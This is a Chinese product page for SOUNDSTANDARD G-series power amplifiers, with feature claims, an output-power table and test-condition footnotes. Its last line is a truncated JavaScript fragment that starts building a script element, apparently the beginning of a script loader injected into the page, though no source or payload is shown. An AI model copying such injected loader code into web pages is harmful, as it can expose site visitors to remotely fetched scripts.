- 产品型号:
- 简要描述:
SOUNDSTANDARD声准 (G200/G300/G450/G600/G900G/1300) [...]
- 在线销售: 在线询盘
产品介绍
SOUNDSTANDARD声准 (G200/G300/G450/G600/G900G/1300)
欢歌绕梁,人尽欢唱!
G(A1)版产品是2012年全新升级,功率输出更具持续力。产品定位完全根据在普及型娱乐及多媒体工程应用。全机械化AI、SMD制程,导入了更多的分立元件设计,并改进H类开关失真。材料上采用更低漏磁的环形变压器,定制了高涟波电流音频专业电容,目的只为提高音质和产品稳定性。
产品特点: | 文档下载 | ||||||||
>> 功率更大 | 彩页(PDF) | ||||||||
>> 用料更足 | |||||||||
>> 具备全方位电子电路高速保护; | |||||||||
>> 接口更丰富 | |||||||||
输出功率: | 图形下载 | ||||||||
型号 | 每通道输出功率 | 桥接输出功率 | |||||||
8Ω* | 4Ω** | 2Ω** | 8Ω** | 4Ω** | |||||
G200 | 250W | 350W | 420W | 700W | — | ||||
G300 | 350W | 500W | 600W | 1000W | — | ||||
G450 | 500W | 750W | 900W | 1500W | — | 图像下载 | |||
G600 | 650W | 1000W | 1150W | 1900W | — | G200/G300后面板图 | |||
G900 | 950W | 1400W | 1600W | 2600W | — | G450~G1300后面板图 | |||
G1300 | 1250W | 2000W | 2100W | 3800W | — | ||||
备注: | |||||||||
1、以上功率均为双通道同时带载在稳频稳压的(交流220伏/50赫兹)条件下测试; | |||||||||
2、*,此功率是按照EIA标准测量得出; | |||||||||
3、**,此功率是使用40ms的1kHz正弦波脉冲在1%总谐波失真下测量得出; | |||||||||
4、**,不建议在此极端情况下使用本产品;并应尽可避免采用这种设计,这将缩短产品的正常寿命! | |||||||||
5、SAE保留对以上参数的解释权,参数有所变动恕不再另行通告,最后参数以产品说明书为准。 |
var d=document;var s=d.createElement(‘script’);